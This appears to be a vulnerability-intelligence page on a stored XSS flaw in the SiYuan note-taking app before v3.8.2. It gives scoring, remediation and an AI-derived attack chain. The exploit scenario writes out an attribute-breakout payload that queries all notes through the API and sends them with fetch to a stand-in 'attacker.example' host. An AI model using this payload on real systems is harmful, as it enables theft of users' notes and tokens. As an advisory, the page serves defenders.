Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to shared SiYuan instance
-
DeliverySet malicious template path on notebook
-
ExploitVictim opens notebook configuration panel
-
ExecutionAttribute breakout executes injected JavaScript
-
PersistIssue same-origin SiYuan API requests
-
ImpactExfiltrate notes or manipulate application state
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires two conditions: first, the attacker must have at least low-privilege authenticated access to a SiYuan instance sufficient to configure or create a notebook and set its template path (PR:L per CVSS); second, a victim user with broader access must open the notebook's configuration panel after the malicious path has been persisted (UI:A per CVSS). Non-default multi-user deployment or shared access scenarios substantially increase the risk of both conditions being met simultaneously. In a single-user local installation, the attacker and victim are the same person, making exploitation self-inflicted and of limited practical concern. The vulnerability does not require any specific OS platform, network protocol, or optional feature beyond the notebook template path field being reachable - no unusual configuration is required beyond having a multi-user environment where the attacker can write template paths. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) scores 8.4 and accurately characterizes the threat model: low-privilege authenticated access is needed to plant the payload (PR:L), and a victim must open the notebook configuration panel to trigger it (UI:A). The high confidentiality and integrity impact (VC:H/VI:H) reflect the ability to make same-origin API calls - potentially exfiltrating all notes, API tokens, or user data - and to manipulate application state. Attack complexity is low once access is established. EPSS data is not available in the supplied intelligence. This CVE has no CISA KEV listing and no confirmed public exploit code, so real-world exploitation probability is currently speculative. For single-user local deployments, the PR:L requirement is a meaningful limiting factor, since the attacker and victim would need to share a SiYuan instance. In multi-user or team deployments exposed to a network, the risk is materially higher: any lower-privileged user could target another. The absence of availability impact (VA:N) is consistent with the payload's focus on data theft and API abuse rather than service disruption. |
| Exploit ScenarioDerived | An attacker with a low-privilege account on a shared SiYuan instance sets a notebook's template path to a value such as '" autofocus onfocus="fetch('/api/query',{method:'POST',body:JSON.stringify({stmt:'SELECT * FROM blocks'})}).then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?d='+btoa(JSON.stringify(d))))//'. When an administrator or co-user next opens that notebook's configuration page, the injected handler fires automatically, exfiltrating all indexed note content to the attacker's server via a same-origin API query. No public exploit code has been identified, but the technique is trivially reproducible by any developer familiar with attribute-context XSS. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 09, 2026
Stored XSS in SiYuan note-taking application before v3.8.2 allows an authenticated attacker to achieve same-origin JavaScript execution in a victim's browser session. Notebook template paths are persisted to storage and later reflected into HTML input value attributes without attribute-context encoding, enabling an attacker who can write a template path to inject JavaScript that executes when any user opens the affected notebook's configuration panel. Successful exploitation permits same-origin API requests and full application state manipulation, including access to notes, attachments, and configuration secrets. No public exploit code has been identified at time of analysis, and CISA KEV status is not confirmed.
RemediationAI
Upgrade SiYuan to v3.8.2 or later, which is the vendor-confirmed patched release per the GitHub security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-v6wf-r2gr-rrgf. The fix is expected to apply proper HTML attribute encoding (e.g., HTML-escaping double quotes and angle brackets) before inserting template paths into input value attributes. For deployments that cannot upgrade immediately, restricting access to notebook configuration panels to trusted users only - via network-level controls or SiYuan's access control settings - reduces exposure, though it does not eliminate the underlying defect. In multi-user or team-shared instances, auditing existing notebook template paths for suspicious attribute-breaking characters (unencoded double-quotes, angle brackets, JavaScript event handler keywords) is advisable as a triage step.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SiYuan (CPE: cpe:2.3:a:siyuan-note:siyuan:*:*:*:*:*:*:*:*) is a self-hosted, Electron-backed personal knowledge management and note-taking application with a web-based UI served over a local or networked HTTP endpoint. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is a classic stored XSS: template paths supplied during notebook configuration are written to persistent storage and later interpolated directly into HTML input value attributes - e.g., <input value="[TEMPLATE_PATH]"> - without HTML attribute encoding. An attacker who controls the template path value can inject a payload such as '" onmouseover="evil()' to break out of the attribute context and attach arbitrary event handlers or inline scripts. Because SiYuan's API operates on the same origin as its UI, injected scripts inherit full same-origin trust, giving them access to the full API surface.
Know when Siyuan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Stored XSS planted by PR:L attacker, triggered by victim UI interaction, with scope change and full same-origin API access justifying C:H/I:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
SiYuan before v3.8.2 inserts persisted notebook template paths into HTML input value attributes without proper attribute encoding. Attackers can craft malicious template paths that break out of the attribute context and execute JavaScript when a victim opens notebook configuration, enabling same-origin API requests and application state manipulation.
Technical POC Analysis
Stored cross-site scripting (CWE-79): persisted user-influenced notebook configuration is later interpolated into an HTML attribute value without attribute-context escaping.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
SiYuan note-taking application versions prior to 3.8.2 contain a stored cross-site scripting vulnerability that allows authenticated users to inject malicious code affecting other users' browser sessions. Exploitation permits unauthorized access to sensitive notes, attachments, and configuration data through same-origin JavaScript execution. Organizations using SiYuan for collaborative work or sensitive documentation face material risk of data compromise through insider threats or compromised user accounts.
Apply vendor patch: upgrade to SiYuan v3.8.2 or later.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role
Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a
SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements
Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,
SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr
A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c
SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex
Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package
Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro
EUVD-2026-74837
GHSA-qx37-mp6w-43mm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB